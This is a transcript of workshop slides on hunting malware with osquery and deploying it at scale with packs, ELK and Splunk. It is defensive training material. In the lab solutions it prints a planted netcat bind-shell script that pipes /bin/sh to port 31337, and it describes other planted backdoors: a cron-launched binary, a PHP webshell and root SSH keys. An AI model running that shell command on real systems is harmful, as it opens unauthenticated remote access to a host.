Hunting Malware at Scale with osquery

This workshop is an introduction to osquery, an open source SQL-powered operating system for instrumentation and analytics. osquery is developed and used by Facebook to proactively hunt for abnormalities. Since osquery allows us to easily ask questions about our infrastructure, it provides powerful capabilities, such as finding malware persistence techniques and scanning IOCs across our fleets of machines. This workshop is a very hands-on training and we expect participants to be comfortable with CLI. The workshop is broken into three components:

Part I - hunting malware with osquery (1.5 hours) The first section of the workshop will make use of the interactive osquery command line tool (osqueryi) to hunt for characteristics of malware residing on a local system. The goal of this section is to get students familiar with writing SQL statements and to understand how osquery makes use of core tables to abstract operating system artifacts.

Part II - osquery at scale (1.5 hours): The second part of the workshop will focus on automation and deployment of osquery at a larger scale. You will learn how to write “query packs” which are utilized to collect and analyze the results from various endpoints in an enterprise. We will demonstrate this concept with the use of virtual machines, however the methodologies can be extrapolated to larger enterprises.

Part III - osquery development (optional - 0.5 to 1 hours): The last part of the workshop focuses on osquery development. We will walk you through some of the core components of osquery so you can have a deeper understand of this application. The goal being to give the student sufficient information to hack on the osquery project. This segment is largely optional and designed for people who want to get familiar with how osquery works under the hood.

Transcript

1. Hunting Malware at Scale with osquery Now with more Cyber!
2. Initial Setup • Connect to the osquery-lab WiFi (password: osqueryrocks) • All of the components of this lab are on the USB Thumb Drives ◦ We know, hilarious right? • Copy all the contents locally while we talk for expedited hacking ◦ If you want :P • Install VirtualBox. Installers under the virtualbox-installers dir. • Double click the .vbox file under /vms ◦ Or add the virtual machine, however you wanna do that. • Login to the box using the credentials user: vagrant pass: vagrant ◦ Either inside of VirtualBox, or use Term, iTerm, PuTTY(Installer in /util) $ ssh -p 2222 vagrant@localhost
3. Initial Setup • Lasty - After you’ve logged in, reboot your machine :) sudo reboot
4. Initial Setup • Everything should be documented: ◦ http://osquery.readthedocs.io/en/stable/ • The source for these docs lives within the repo: ◦ https://github.com/facebook/osquery/tree/master/docs • Anything that is not documented should become an issue ◦ https://github.com/facebook/osquery/issues • Please please please, file and address issues ◦ There are 100+ contributors ◦ We strive to be as nice and accommodating as possible! • Join our Slack discussion ◦ https://osquery-slack.herokuapp.com/ • Direct message theopolis if you need anything whatsoever
5. whoami (we?) • Facebook Security Engineering ◦ Detection Infrastructure ▪ Nick Anderson (@PoppySeedPlehzr) ▪ Sereyvathana Ty ▪ Ted Reed ▪ Matt Moran ◦ Threats and Signal Analysis ▪ April Eubank • Uber Engineering Security Team ◦ Platform Security ▪ Javier Marcos (@javutin)
6. Road Map Part I - Hunting malware with osquery • Intro to osquery and SQL • Lab 1 - osquery usage and basics • Intro to Linux forensics • Lab 2 - Malware hunting with osquery Part II - Scaling osquery to an enterprise • Enterprise architecture and osqueryd deployment • osqueryd configuration and packs • Lab3 - Deploying osquery at scale Part III - FIM and process auditing • osqueryd for file integrity monitoring • osqueryd for process auditing Part IV - Open source development, and beyond! • osquery - Under the hood • Lab 4 - Writing custom python extensions • Lab 5 - Writing custom table extensions
7. What is osquery? • Facebook’s Host Intrusion Detection Agent • Exposes the OS as a high performance relational database queryable with SQL • Offers host visibility inspired by intrusion detection and response • 100% OS API usage - no fork execve
8. Why SQL? • SQL: Structured Query Language ◦ Language designed for managing data held in relational databases or stream processing. ◦ Used by many relational databases (for example, Sqlite, MySQL, MSSQL, ...) • Many developers and admins are familiar with SQL • Core concepts of SQL are platform agnostic • Core concepts have attributes ◦ User ids, process ids, descriptors, ports, paths, ... SELECT pid, name, uid FROM processes
9. Why SQL? SELECT pid, name, uid FROM processes [concept]
10. Why SQL? SELECT pid, name, uid FROM processes [concept] [attributes]
11. Why SQL? SELECT pid, name, uid FROM processes WHERE uid != 0 [concept] [attributes] [constraints]
12. Why SQL? SELECT pid, name, username FROM processes JOIN users ON processes.uid=users.uid WHERE uid != 0 [constraints] [join] [attribute]
13. Lab 1: Navigating osquery • Take a moment to double check that your lab is up and running • Note: Use the left Command (Ctrl on Win) button to “escape” the client VM
15. Lab 1: Navigating osquery • Logs from these VMs are being sent to our SIEM for Part II • It’s helpful to have a second terminal open
16. Lab 1: Navigating osquery vagrant@DC24-osquery-ubuntu:~$ sudo osqueryi osquery - being built, with love, at Facebook ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Using a virtual database. Need help, type '.help' osquery> osquery> .help Welcome to the osquery shell. Please explore your OS! You are connected to a transient 'in-memory' virtual database. .all [TABLE] Select all from a table ... osquery> .tables … => process_open_sockets => processes => quicklook_cache …
17. Lab 1: Navigating osquery osquery> PRAGMA table_info('system_info'); +-----+--------------------+---------+---------+------------+----+ | cid | name | type | notnull | dflt_value | pk | +-----+--------------------+---------+---------+------------+----+ | 0 | hostname | TEXT | 0 | | 0 | | 1 | uuid | TEXT | 0 | | 0 | … … … … … … osquery> .schema listening_ports CREATE TABLE listening_ports(`pid` INTEGER, `port` INTEGER, `protocol` INTEGER, `family` INTEGER, `address` TEXT); osquery> SELECT * FROM processes; … osquery> .mode line osquery> SELECT * FROM processes LIMIT 1; pid = 1 name = launchd path = /sbin/launchd cmdline = …
18. Lab 1: Navigating osquery osquery> .help Welcome to the osquery shell. Please explore your OS! You are connected to a transient 'in-memory' virtual database. .all [TABLE] Select all from a table .bail ON|OFF Stop after hitting an error; default OFF .echo ON|OFF Turn command echo on or off .exit Exit this program .header(s) ON|OFF Turn display of headers on or off .help Show this message .mode MODE Set output mode where MODE is one of: csv Comma-separated values column Left-aligned columns. (See .width) line One value per line list Values delimited by .separator string pretty Pretty printed SQL results
19. Lab 1: Navigating osquery 1.) What is the system hostname? 2.) What users exist on the system? 3.) What processes are running? 4.) Write a query that will list all processes which are running and listening on a port. 5.) (Bonus) Add the path of the files that originated these processes as well as the md5 hash of the file that originated them.
20. Lab 1: Answers 1.) What is the system hostname? SELECT hostname FROM system_info; 2.) What users exist on the system? SELECT uid, username FROM users; 3.) What processes are running? SELECT pid, name, path FROM processes; 4.) Write a query that will list all processes which are running and listening on a port. SELECT p.pid, p.name, p.path, s.port, s.address FROM processes AS p JOIN listening_ports AS s ON s.pid = p.pid;
21. Lab 1: Answers (Bonus) Add the path of the files that originated these processes as well as the hash of the file that originated them. SELECT p.pid, p.name, f.path, h.md5, s.port, s.address FROM processes AS p JOIN listening_ports AS s ON s.pid = p.pid JOIN file as f ON f.path = p.path JOIN hash as h ON h.path = p.path;
22. Analyzing signal with osquery • Gone are the days of AV • Enter the days of the host based IDS • Typically searching for an indicator of compromise (IoC) ◦ Odd user behavior or administrative accesses ◦ Strange behavior in logs ◦ Unknown processes that launch at system start ◦ ... • Many and more IoCs to be found in Open Source Intel feeds • Think locally, scale globally
23. Linux Forensics using osquery • Goal: Fingerprint the system and search for anomalies • Hal Pomeranz, Linux Forensics (for Non-Linux Folks): http://goo.gl/MXfvde → http://urlex.org/ • “Everything in Linux is a file” (/proc, /dev, …) • Some differences from Windows: ◦ Ext4 vs NTFS - Not hugely relevant for us, but worth keeping in mind ◦ No system registry - See note above • CLI is love, CLI is life
24. Some Basic CLI Commands man - The most important of all, the Manpages cat - display the contents of a specified file less - scroll through the contents of a file cp - Copy a file to a specified location rm - Remove. Add a `-r` to `recurse` and delete directories su/sudo - Switch User/Switch User Do, escalate privs. mkdir - Make directory cd - Change directory ps - List of running processes grep - Globally search a Regex and Print. Text search. file - Attempt to identify the specified file type strings - Display all ASCII printable strings in a file nano - A simple text editor. Ctrl-o and Ctrl-x are ‘save’ and ‘exit’ Ctrl-R/S - Reverse/Forward search through your command history Tab Completion - Finish eachothers… sent… ennnncessssss…?
25. Or just use osquery • Recall some of the osqueryi functionality we explored earlier: ◦ .tables ◦ .schema ◦ PRAGMA table_info(‘[table name]’); • Many of the commands on the previously slide can be answered, and extended, using osquery tables explored in Lab 1. • Use sudo osqueryi as many columns will not show up otherwise.
26. Lab 2: Discovery and Analysis with osquery • Spend the next 20 minutes investigating the VM • We’ve hidden three major backdoors, and a variety of security issues • You’ll find it beneficial to have a second terminal running ◦ Osquery can’t do everything. Yet. • Reports encouraged • Questions are highly encouraged
27. Good questions for analysis: What starts when the system boots? What users exist? What services exist? What services _should_ exist? What does the network look like? What logs are available? Good osquery tables to recall: listening_ports processes crontab users File hash Good locations to check: /etc/passwd (User Accounts) /etc/group (Group membership) /etc/sudoers (Admin level users) /etc/init.d (Auto start services) /var/log/syslog (System logs) /var/log/authlog (Authentication Logs) /home/ (User home directories) /home/$USER/.ssh (ssh keys, configs, …) /etc/hosts (Static host IPs) /etc/network/interfaces (Static eth IPs) /etc/apache2/sites-enabled/ (Web server config) More Good locations to check: /var/log/wtmp (User login history) /var/log/secure (More auth logs) /var/log/auth.log (More auth logs) /var/log/audit/audit.log(More auth logs) /etc/cron* (Scheduled tasks) /var/spool/cron/* (More schedule tasks) $HOME/.bash_history (Command history) /var/log/sudo.log (sudo command hist) Lab 2: Discovery and Analysis with osquery
28. Lab 2 Solutions • All of the provisioning scripts in the ./vagrant folder will tell you specifically what was done Look only if you want to cheat! • Let’s walk through some of the bigger backdoors and how you might have discovered them
29. Enumerate the users The only user we were told of was Bilbo Baggins. osquery> select * from users where uid > 1000; +-------+-------+------------+------------+----------+-------------+----------------+-------------------+------+ | uid | gid | uid_signed | gid_signed | username | description | directory | shell | uuid | +-------+-------+------------+------------+----------+-------------+----------------+-------------------+------+ | 65534 | 65534 | 65534 | 65534 | nobody | nobody | /nonexistent | /usr/sbin/nologin | | | 1001 | 1001 | 1001 | 1001 | ubuntu | Ubuntu | /home/ubuntu | /bin/bash | | | 1002 | 1002 | 1002 | 1002 | samwise | | /home/samwise | /bin/bash | | | 1003 | 1003 | 1003 | 1003 | bbaggins | | /home/bbaggins | /bin/bash | | | 1004 | 1004 | 1004 | 1004 | fbaggins | | /home/fbaggins | /bin/bash | | | 1005 | 1005 | 1005 | 1005 | gandalf | | /home/gandalf | /bin/bash | | | 1006 | 1006 | 1006 | 1006 | gollum | | /home/gollum | /bin/bash | | +-------+-------+------------+------------+----------+-------------+----------------+-------------------+------+
30. Enumerate the users Looks like Bilbo was having a party: osquery> SELECT u.username, u.directory, g.gid, gr.groupname FROM users AS u JOIN user_groups AS g ON g.uid = u.uid JOIN groups AS gr ON g.gid = gr.gid WHERE u.uid > 1000; +----------+----------------+-------+-----------+ | username | directory | gid | groupname | +----------+----------------+-------+-----------+ | nobody | /nonexistent | 65534 | nogroup | | ubuntu | /home/ubuntu | 1001 | ubuntu | | samwise | /home/samwise | 1002 | samwise | | samwise | /home/samwise | 110 | admin | | bbaggins | /home/bbaggins | 1003 | bbaggins | | bbaggins | /home/bbaggins | 110 | admin | | fbaggins | /home/fbaggins | 1004 | fbaggins | | fbaggins | /home/fbaggins | 100 | users | | fbaggins | /home/fbaggins | 110 | admin | | gandalf | /home/gandalf | 1005 | gandalf | | gandalf | /home/gandalf | 100 | users | | gandalf | /home/gandalf | 110 | admin | | gollum | /home/gollum | 1006 | gollum | | gollum | /home/gollum | 100 | users | | gollum | /home/gollum | 110 | admin | +----------+----------------+-------+-----------+
31. rooty backdoor vagrant@DC24-osquery-ubuntu:~$ sudo osqueryi osquery> .mode line osquery> select event, path, command from crontab; event = path = /etc/crontab command = root cd / && run-parts --report /etc/cron.hourly event = path = /etc/crontab command = root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) … event = @reboot path = /var/spool/cron/crontabs/root command = /etc/ /h0bbit.sh ← Fascinating... event = @reboot path = /var/spool/cron/crontabs/root command = /var/html/.../rooty ← Curiouser and Curiouser!
32. rooty backdoor Some more information about the file osquery> select * from file where path="/var/html/.../rooty"; path = /var/html/.../rooty directory = /var/html/... filename = rooty inode = 267976 uid = 0 gid = 0 mode = 0755 device = 0 size = 1112464 block_size = 4096 atime = 1470166802 mtime = 1470166802 ctime = 1470166802 btime = 0 hard_links = 1 type = regular … vagrant@DC24-osquery-ubuntu:~$ ls -al "/var/html/.../rooty" -rwxr-xr-x 1 root root 1112464 Aug 2 19:40 /var/html/.../rooty
33. Enumerating listening ports vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ sudo netstat -lpnut Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 606/rpcbind tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1014/sshd tcp 0 0 0.0.0.0:41096 0.0.0.0:* LISTEN 685/rpc.statd tcp 0 0 0.0.0.0:31337 0.0.0.0:* LISTEN 1093/nc osquery> select p.pid, p.path, p.name, s.port, s.address from processes as p JOIN listening_ports as s ON s.pid = p.pid; +------+-------------------+-------------+-------+--------------------------+ | pid | path | name | port | address | +------+-------------------+-------------+-------+--------------------------+ | 1014 | /usr/sbin/sshd | sshd | 22 | 0.0.0.0 | | 1014 | /usr/sbin/sshd | sshd | 22 | :: | | 1072 | /usr/sbin/mysqld | mysqld | 3306 | 127.0.0.1 | | 1093 | /bin/nc.openbsd | nc | 31337 | 0.0.0.0 | | 1373 | /usr/sbin/ntpd | ntpd | 123 | 10.0.2.15 |
34. Auditing init.d vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ ls -al /etc/init.d/ total 264 drwxr-xr-x 2 root root 4096 Aug 4 02:09 . drwxr-xr-x 104 root root 4096 Aug 4 21:01 .. -rwxr-xr-x 1 root root 2243 Apr 3 2014 acpid -rwxr-xr-x 1 root root 9974 Jan 7 2014 apache2 … -rwxr-xr-x 1 root root 896 Nov 1 2013 cryptdisks-early -rwxr-xr-x 1 root root 4276 Aug 4 02:09 tmp_spool -rwxr-xr-x 1 root root 6173 Apr 14 2014 udev -rwxr-xr-x 1 root root 2721 Mar 13 2014 umou
35. Auditing init.d vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ head -n 50 /etc/init.d/tmp_spool #! /bin/sh … # Author: Foo Bar <foobar@baz.org> # # Please remove the "Author" lines above and replace them # with your own name if you copy and modify this script. # Do NOT "set -e" # PATH should only include /usr/* if it runs after the mountnfs.sh script PATH=/sbin:/usr/sbin:/bin:/usr/bin DESC="Temp spooling service" NAME=tmp_spool DAEMON="/etc/tmp_spool/start_spool.sh"
36. Auditing init.d vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ head -n 50 /etc/init.d/tmp_spool #! /bin/sh … # Author: Foo Bar <foobar@baz.org> … # PATH should only include /usr/* if it runs after the mountnfs.sh script PATH=/sbin:/usr/sbin:/bin:/usr/bin DESC="Temp spooling service" NAME=tmp_spool DAEMON="/etc/tmp_spool/start_spool.sh" vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ cat /etc/tmp_spool/start_spool.sh #!/bin/bash rm -f /tmp/f && sudo mkfifo /tmp/f $(cat /tmp/f | /bin/sh -i 2>&1 | nc -k -l 0.0.0.0 31337 > /tmp/f) &
37. PHP Backdoor osquery> select p.pid, p.name, s.port, s.address from processes as p join listening_ports as s on s.pid = p.pid; +------+---------------+-------+-----------+ | pid | name | port | address | +------+---------------+-------+-----------+ | 1044 | mysqld | 3306 | 127.0.0.1 | | 1183 | apache2 | 80 | :: | ← Interesting. What is apache2 doing on this box? | 1597 | sshd | 22 | 0.0.0.0 | | 1597 | sshd | 22 | :: | | 420 | systemd-udevd | 0 | | | 510 | dhclient | 54313 | 0.0.0.0 | | 510 | dhclient | 68 | 0.0.0.0 | | 510 | dhclient | 56963 | :: | | 596 | rpcbind | 111 | 0.0.0.0 | | 596 | rpcbind | 111 | :: | | 596 | rpcbind | 111 | 0.0.0.0 | | 654 | rpc.statd | 35278 | 0.0.0.0 | | 654 | rpc.statd | 48946 | :: | | 654 | rpc.statd | 57702 | 0.0.0.0 | | 654 | rpc.statd | 830 | 127.0.0.1 | | 654 | rpc.statd | 44477 | :: | +------+---------------+-------+-----------+
38. PHP Backdoor Looks to be the default apache2 config: vagrant@DC24-osquery-ubuntu:/var/www/html$ cat /etc/apache2/sites-enabled/000-default.conf <VirtualHost *:80> … ServerAdmin webmaster@localhost DocumentRoot /var/www/html … ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined … </VirtualHost>
39. PHP Backdoor Inside of the webroot, we see a wordpress installation. vagrant@DC24-osquery-ubuntu:/var/www/html$ ls -al /var/www/html total 204 drwxr-xr-x 6 root root 4096 Aug 2 18:49 . drwxr-xr-x 3 root root 4096 Aug 2 18:49 .. -rw-r--r-- 1 root root 11510 Aug 2 18:49 index.html -rw-r--r-- 1 root root 418 Aug 2 18:49 index.php -rw-r--r-- 1 root root 19929 Aug 2 18:49 license.txt -rw-r--r-- 1 root root 7185 Aug 2 18:49 readme.html drwxr-xr-x 5 root root 4096 Nov 20 2014 wordpress -rw-r--r-- 1 root root 4892 Aug 2 18:49 wp-activate.php drwxr-xr-x 9 root root 4096 Aug 2 18:49 wp-admin -rw-r--r-- 1 root root 271 Aug 2 18:49 wp-blog-header.php -rw-r--r-- 1 root root 4795 Aug 2 18:49 wp-comments-post.php -rw-r--r-- 1 root root 3069 Aug 2 18:49 wp-config.php -rw-r--r-- 1 root root 3087 Aug 2 18:49 wp-config-sample.php drwxr-xr-x 5 root root 4096 Aug 2 18:49 wp-content -rw-r--r-- 1 root root 2932 Aug 2 18:49 wp-cron.php drwxr-xr-x 12 root root 4096 Aug 2 18:49 wp-includes -rw-r--r-- 1 root root 2380 Aug 2 18:49 wp-links-opml.php -rw-r--r-- 1 root root 2359 Aug 2 18:49 wp-load.php …
40. PHP Backdoor Looks like this box is hosting a pretty outdated version of Wordpress: vagrant@DC24-osquery-ubuntu:/var/www/html$ top -n 20 readme.html top: unknown option 'r' Usage: top -hv | -bcHiOSs -d secs -n max -u|U user -p pid(s) -o field -w [cols] vagrant@DC24-osquery-ubuntu:/var/www/html$ head -n 20 readme.html <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>WordPress &#8250; ReadMe</title> <link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" /> </head> <body> <h1 id="logo"> <a href="http://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a> <br /> Version 3.8.5 </h1>
41. PHP Backdoor ...Aaaand is hiding a PHP backdoor that is word executable. vagrant@DC24-osquery-ubuntu:/var/www/html$ ls -al wp-content/uploads/ total 16 drwxr-xr-x 2 root root 4096 Aug 2 18:49 . drwxr-xr-x 5 root root 4096 Aug 2 18:49 .. -rwxrwxr-x 1 root root 5491 Aug 2 18:49 d0or.php
42. Lab 2 Solutions • All of the solutions are in the vagrant provisioning scripts on your thumb drive /vagrant/lib.sh • PHP backdoor /var/www/wordpress/wp-content/uploads/d0or.php • rooty backdoor “/var/html/…” • nc backdoors “/etc/ /” • Everyone gets admin! admin:x:110:samwise,bbaggins,fbaggins,gandalf,gollum,bin,www-data • Everyone gets ssh as root! root@DC24-osquery-ubuntu:/home/vagrant# cat /root/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDb9YyrvSQModHNrbOrLXs9sFwZXPWRarRDFE9LVVl1MxEr3AEn afn8PU3fnELHSvPNlf…… • Lots of janky configs for services that probably shouldn’t be installed.
43. Road Map Part I - Hunting malware with osquery • Intro to osquery and SQL • Lab 1 - osquery usage and basics • Intro to Linux forensics • Lab 2 - Malware hunting with osquery Part II - Scaling osquery to an enterprise • Enterprise architecture and osqueryd deployment • osqueryd configuration and packs • Lab3 - Deploying osquery at scale Part III - FIM and process auditing • osqueryd for file integrity monitoring • osqueryd for process auditing Part IV - Open source development, and beyond! • osquery - Under the hood • Lab 4 - Writing custom python extensions • Lab 5 - Writing custom table extensions
44. How to scale osquery? • osqueryi VS osqueryd • osqueryd configuration ◦ /etc/osquery/osquery.conf ◦ Scheduled queries ◦ JSON logs written • Packs: groups of queries to be added to the osquery schedule ◦ https://osquery.io/docs/packs/ { "name":"this-is-query-name", "hostIdentifier":"target-hostname", "unixTime":"1470182990", "columns": { "key":"SSH_CLIENT", "Pid":"16794", "value":"10.0.2.2 51980 22" }, "action":"added" } sample log entry
45. How to scale osquery • What to do with all the logs? ◦ osqueryd + TLS plugin ◦ osqueryd + Forwarder • Server to collect logs ◦ ELK (Elasticsearch + Logstash + Kibana) ◦ Splunk • osquery management ◦ Doorman (https://github.com/mwielgoszewski/doorman) ◦ Windmill (https://github.com/heroku/windmill)
47. Client: osqueryd configuration "options": { "config_plugin": "filesystem", "logger_plugin": "filesystem", "logger_path": "/var/log/osquery", "events_expiry": "3600", "worker_threads": "2", "enable_monitor": "true" }, "packs": { "defcon24-workshop":"defcon24-workshop.conf" } /etc/osquery/osquery.conf
48. Client: osquery custom pack /usr/share/osquery/packs/defcon24-workshop.conf "queries": { "crontab": { "query" : "select * from crontab;", "interval" : "60", "version" : "1.4.5", "description" : "Retrieves all the jobs scheduled in crontab in the target system.", "value" : "Identify malware that uses this persistence mechanism to launch at a given interval" }, "etc_hosts": { "query" : "select * from etc_hosts;", "interval" : "60", "version" : "1.4.5", "description" : "Retrieves all the entries in the target system /etc/hosts file.", "value" : "Identify network communications that are being redirected. Example: identify if security logging has been disabled" }, ...
49. Client: Filebeat forwarder paths: - /var/log/osquery/osqueryd.results*.log input_type: log document_type: json fields: type: osquery_json codec: json json: message_key: message … output: logstash: hosts: ["LOGSTASH_SERVER_IP:PORT"] bulk_max_size: 1024 tls: certificate_authorities: ["/etc/pki/tls/certs/logstash-forwarder.crt"] /etc/filebeat/filebeat.yml
50. Server: Logstash (input) input { beats { port => 5044 ssl => true ssl_certificate => "/etc/pki/tls/certs/logstash-forwarder.crt" ssl_key => "/etc/pki/tls/private/logstash-forwarder.key" codec => "json" } } /etc/logstash/conf.d/02-beats-input.conf
51. Server: Logstash (filter) filter { if [type] == "osquery_json" { json { source => "message" } date { match => [ "unixTime", "UNIX" ] } } } /etc/logstash/conf.d/10-osquery-filter.conf
52. Server: Logstash (output) output { elasticsearch { hosts => ["localhost:9200"] sniffing => true manage_template => false index => "%{[@metadata][beat]}-%{+YYYY.MM.dd}" document_type => "%{[@metadata][type]}" } } /etc/logstash/conf.d/30-elasticsearch-output.conf
53. Server: Elasticsearch network.host: localhost /etc/elasticsearch/elasticsearch.yml
54. Server: Kibana server.host: “localhost” /opt/kibana/config/kibana.yml
55. Server: Kibana nginx server { listen 80; auth_basic "Restricted Access"; auth_basic_user_file /etc/nginx/htpasswd.users; location / { proxy_pass http://localhost:5601; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; } } /etc/nginx/sites-available/default
56. Server: Kibana index pattern curl -XPUT http://localhost:9200/.kibana/index-pattern/filebeat-* -d '{"title" : "filebeat-*", "timeFieldName": "@timestamp"}' curl -XPUT http://localhost:9200/.kibana/config/4.4.2 -d '{"defaultIndex" : "filebeat-*"}'
57. Architectural overview - Splunk -Monolithic(small) or Distributed(large)
58. Splunk configuration • Splunk Forwarder ◦ - inputs.conf [monitor:///var/log/osquery/osqueryd.results.log] index = main sourcetype = osqueryd.results • Search Head ◦ Osquery.app /opt/splunk/etc/apps/spl_osquery
59. Osquery app Investigator
60. Osquery app Processes
61. Osquery app FIM
62. Osquery app Rare Events
63. Lab 3: Deploying osquery at scale • Client: osqueryd ◦ Check daemon is running ◦ Check configuration ▪ Check pack queries and intervals ▪ Check logs are being written • Client: Filebeat/Splunk Forwarder ◦ Check daemon is running ◦ Check configuration ▪ Check certificates ▪ Check server details
64. Lab 3: Deploying osquery at scale • Client: osqueryd ◦ Check daemon is running -> service osqueryd status ◦ Check configuration ▪ Check pack queries and intervals -> /etc/osquery/osquery.conf ▪ Check logs are being written -> /var/log/osquery/* • Client: Filebeat/Splunk Forwarder ◦ Check daemon is running -> service filebeat status ◦ Check configuration ▪ Check certificates -> /etc/pki/tls/certs/logstash-forwarder.crt ▪ Check server details -> /etc/filebeat/filebeat.yml
65. Lab 3: Deploying osquery at scale • Client: osqueryd ◦ Check daemon is running -> service osqueryd status ◦ Check configuration ▪ Check pack queries and intervals -> cat /etc/osquery/osquery.conf ▪ Check logs are being written -> /var/log/osquery • Client: Filebeat/Splunk Forwarder ◦ Check daemon is running -> service filebeat status ◦ Check configuration ▪ Check certificates -> /etc/pki/tls/certs/logstash-forwarder.crt ▪ Check server details -> /etc/filebeat/filebeat.yml Tables: osquery_info, osquery_packs, osquery_schedule
66. Lab 3: Deploying osquery at scale • Server: ◦ Elasticsearch ▪ Check elasticsearch configuration/status ◦ Logstash ▪ Check logstash configuration/status ◦ Kibana ▪ Check kibana configuration/status ▪ Nginx configuration/status • Server: ◦ Do you see any logs flowing? ◦ Can you search for fields? ◦ Can you draw dashboards? Kibana: https://osquery.rocks Splunk: https://osquery.rocks:8000
67. Lab 3: Deploying osquery at scale • Server: ◦ Elasticsearch ▪ Check elasticsearch configuration/status -> service elasticsearch status ◦ Logstash ▪ Check logstash configuration/status -> service logstash status ◦ Kibana ▪ Check kibana configuration/status -> service kibana status ▪ Nginx configuration/status -> service nginx status • Server: ◦ Do you see any logs flowing? ◦ Can you search for fields? ◦ Can you draw dashboards?
68. Lab 3: Deploying osquery at scale • Server: ◦ Elasticsearch ▪ Check elasticsearch configuration/status -> /etc/elasticsearch/elasticsearch.yml ◦ Logstash ▪ Check logstash configuration/status -> /etc/logstash/conf.d/ ◦ Kibana ▪ Check kibana configuration/status -> /opt/kibana/config/kibana.yml ▪ Nginx configuration/status -> /etc/nginx/sites-enables/default • Server: ◦ Do you see any logs flowing? ◦ Can you search for fields? ◦ Can you draw dashboards? Kibana: https://osquery.rocks Splunk: https://osquery.rocks:8000
69. Road Map Part I - Hunting malware with osquery • Intro to osquery and SQL • Lab 1 - osquery usage and basics • Intro to Linux forensics • Lab 2 - Malware hunting with osquery Part II - Scaling osquery to an enterprise • Enterprise architecture and osqueryd deployment • osqueryd configuration and packs • Lab3 - Deploying osquery at scale Part III - FIM and process auditing • osqueryd for file integrity monitoring • osqueryd for process auditing Part IV - Open source development, and beyond! • osquery - Under the hood • Lab 4 - Writing custom python extensions • Lab 5 - Writing custom table extensions
70. File integrity monitoring Our interpretation is “file-related events” and hashing contents when they occur "file_paths": { "homes": ["/home/*"] }, /etc/osquery/osquery.conf
71. File integrity monitoring Our interpretation is “file-related events” and hashing contents when they occur "file_paths": { "homes": ["/home/*"] } /etc/osquery/osquery.conf Edit me! Add this!
72. File integrity monitoring $ osqueryi --config_check --config_path /etc/hosts [1] $ $ osqueryi --config_check --config_path /etc/osquery/osquery.conf $ Use --config_check to validate your JSON
73. "file_paths": { "homes": ["/home/*"] } File integrity monitoring /etc/osquery/osquery.conf What will this monitor?
74. File integrity monitoring "file_paths": { "homes": ["/home/**"] } /etc/osquery/osquery.conf How about this? http://osquery.readthedocs.io/en/stable/deployment/file-integrity-monitoring/
75. File integrity monitoring "file_paths": { "homes": ["/home/**"], "etc": [ "/etc/ssh/*", "/etc/mach_init.d/*", "/etc/security/*", "/etc/*" ] } /etc/osquery/osquery.conf http://osquery.readthedocs.io/en/stable/deployment/file-integrity-monitoring/
76. File integrity monitoring $ osqueryi --verbose --nodisable_events [...] Added file event listener to: /private/etc/ssh/* [...] Added file event listener to: /private/etc/mach_init.d/* [...] Added file event listener to: /private/etc/security/* [...] Added file event listener to: /private/etc/* [...] Added file event listener to: /home/** osquery> select * from file_events; osquery>
77. File integrity monitoring $ osqueryi --verbose --nodisable_events [...] Added file event listener to: /private/etc/ssh/* [...] Added file event listener to: /private/etc/mach_init.d/* [...] Added file event listener to: /private/etc/security/* [...] Added file event listener to: /private/etc/* [...] Added file event listener to: /home/** osquery> select * from file_events; osquery> CTRL+Z [1] + 60644 suspended osqueryi --verbose --nodisable_events [146] $ $ touch ~/hello-osquery-workshop $ fg [1] + 60644 continued osqueryi --verbose --nodisable_events osquery> select * from file_events;
78. File integrity monitoring $ osqueryi --verbose --nodisable_events [...] Added file event listener to: /private/etc/ssh/* [...] Added file event listener to: /private/etc/mach_init.d/* [...] Added file event listener to: /private/etc/security/* [...] Added file event listener to: /private/etc/* [...] Added file event listener to: /home/** osquery> select * from file_events; osquery> CTRL+Z [1] + 60644 suspended osqueryi --verbose --nodisable_events [146] $ $ touch ~/hello-osquery-workshop $ fg [1] + 60644 continued osqueryi --verbose --nodisable_events osquery> select * from file_events;
79. Process auditing On Linux, this uses the kernel’s audit subsystem On OS X, this uses a custom kernel extension Linux Requirements: 1. Cannot run auditd (the Linux netlink socket does not multiplex) 2. --nodisable_audit 3. --audit_persist 4. --audit_allow_config If you want to write the BSD userland audit integration LMK! http://osquery.readthedocs.io/en/stable/deployment/process-auditing/
80. Process auditing "options": { "disable_audit": false, "audit_persist": true, "audit_allow_config": true, [...] } /etc/osquery/osquery.conf For the Linux daemon, add the following options to your config.
81. Process auditing $ osqueryi --nodisable_events --nodisable_audit --audit_allow_config \ --audit_persist osquery> select * from process_events; osquery> CTRL+Z [1] + 60677 suspended osqueryi [146] $ $ echo hellofriend $ fg [1] + 60677 continued osqueryi osquery> select * from process_events;
82. Road Map Part I - Hunting malware with osquery • Intro to osquery and SQL • Lab 1 - osquery usage and basics • Intro to Linux forensics • Lab 2 - Malware hunting with osquery Part II - Scaling osquery to an enterprise • Enterprise architecture and osqueryd deployment • osqueryd configuration and packs • Lab3 - Deploying osquery at scale Part III - FIM and process auditing • osqueryd for file integrity monitoring • osqueryd for process auditing Part IV - Open source development, and beyond! • osquery - Under the hood • Lab 4 - Writing custom python extensions • Lab 5 - Writing custom table extensions
